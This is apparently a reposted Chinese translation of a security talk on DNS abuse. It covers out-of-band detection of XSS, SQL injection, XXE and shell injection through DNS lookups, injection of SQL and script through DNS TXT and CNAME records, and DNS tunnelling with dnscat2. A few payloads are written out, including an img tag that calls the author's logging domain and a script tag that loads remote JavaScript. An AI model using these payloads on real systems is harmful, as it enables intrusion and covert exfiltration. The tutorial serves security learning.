<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/3133

    from:DNS: More than just names

    0x00 前言


    此文章講得所有內容都是用的DNS本身設計的功能,但是沒有想到可被利用的地方。

    討論的范圍僅是利用DNS本身攻擊。

    所以不會討論下面的DNS攻擊,如:

    DNS污染 DNS錯誤配置(域傳送等) DNSSec

    等等

    0x01 DNS是如何工作的


    enter image description here

    0x02 協議


    DNS 類型

    有很多不同的記錄類型,但是我們這次只關注A,AAAA,CNAME,MX和TXT記錄。

    A :: 獲取一個IP地址

    enter image description here

    AAAA :: 獲取一個IPv6地址

    enter image description here

    MX :: 郵箱服務器

    enter image description here

    也有,

    CNAME - 別名 TXT - 文本數據

    別忘了: NB/NBSTAT - NetBIOS

    數據包結構:

    enter image description here

    enter image description here

    如果name是以一對“1”bit開頭的,剩下的14bit說明實際域名所在位置相對DNS起始表示字段的偏移。

    例如:如果name是“C0 0F”則表示 “使用出現偏移量為0x0F的名字。

    詳細解釋可以參考:http://blog.csdn.net/twelvelee/article/details/6714115

    當然,這可能指向自身,造成DNS客戶機/服務器 無限循環。 :)

    反向DNS

    工作原理相同,但是有PTR的記錄類型(特殊方法格式化ip地址)。

    enter image description here

    最終你可以甚至為任何你想要的。

    這讓我疑惑,什么是可信的?

    enter image description here

    偵查與DNS

    當遇到只能走dns的數據,其他的都被防火墻擋住的時候:

    我擁有skullseclabs.org域名,所有的請求都通過*.skullseclabs.org轉到我的DNS服務器。

    XSS

    當你插入的js代碼在瀏覽者的瀏覽器中執行的時候,你如何知道呢?

    如果user-agent內容會被插入執行,

    <img src='http://ab12.skullseclabs.org/img.jpg'>
    

    然后查看我的DNS服務器 :

    enter image description here

    證明html代碼被執行。

    為什么我們關心呢?

    因為,數據包看起來完全是正常的。 我們沒有直接連接服務器,因此防火墻是不會知道的。

    enter image description here

    最后我們可以知道是或否有服務器想要連接,不需要成功連接,甚至不需要服務器嘗試連接。我們還可以做什么呢?

    想要知道誰給你發郵件?

    非常簡單用 [email protected]

    enter image description here

    結論?可能什么都沒有,或許能找到一個反垃圾郵件。

    SQL 注射

    兩個可以執行DNS查詢的SQL語句

    enter image description here

    enter image description here

    XXE 漏洞

    Google曾經給在他服務器上找到XXE漏洞的人支付了1W刀。

    XXE能夠讓你讀取系統的本地文件:

    enter image description here

    同時也可以請求遠程服務器

    enter image description here

    我們就有了一種探測XXE漏洞的一種方式:

    enter image description here

    即使存在防火墻,或者服務器限制嚴格一些文件不能讀取,你仍然能夠探測到XXE漏洞。

    通過DNS直接獲取數據不太可能,但是用來檢測是否有漏洞是個很有效的辦法。

    shell注入

    使用這種方法,很容易檢測到shell的注入,適用與不同的平臺上。

    插入一個DNS查詢:

    enter image description here

    (適用于Windows,Linux,BSD)

    有人想起來這個周的ShellShock嗎?

    enter image description here

    Attack over DNS

    安全性就是邊界。

    受信任的數據在一邊,不受信任的數據在了另外一邊。

    當你做了DNS查詢,你又考慮到結果不可信嗎?

    看看下面代碼有安全問題嗎?

    enter image description here

    把TXT記錄改成如下,最終導致SQL注入:

    enter image description here

    下面有一篇詳細的DNS注入的writeup

    https://blog.skullsecurity.org/2014/plaidctf-writeup-for-web-300-whatscat-sql-injection-via-dns

    下面是一個有效的CNAME,MX,TXT,PTR等記錄(雙引號和空格不允許)

    <script/src='http://javaop.com/test-js.js'></script>
    

    顯然TXT記錄可以做更多的事情。

    在2010年的時候我測試三個訪問最多的域名查詢系統的時候全部都有這個漏洞

    現在其中的一個仍然有此問題。

    DNS隧道

    enter image description here

    如何傳送數據呢?

    enter image description here

    來回的通信:

    enter image description here

    實際的過程:

    enter image description here

    作者自己還解決的一些壓縮等問題,最后給出自己寫的工具地址:

    https://github.com/iagox86/dnscat2

    97av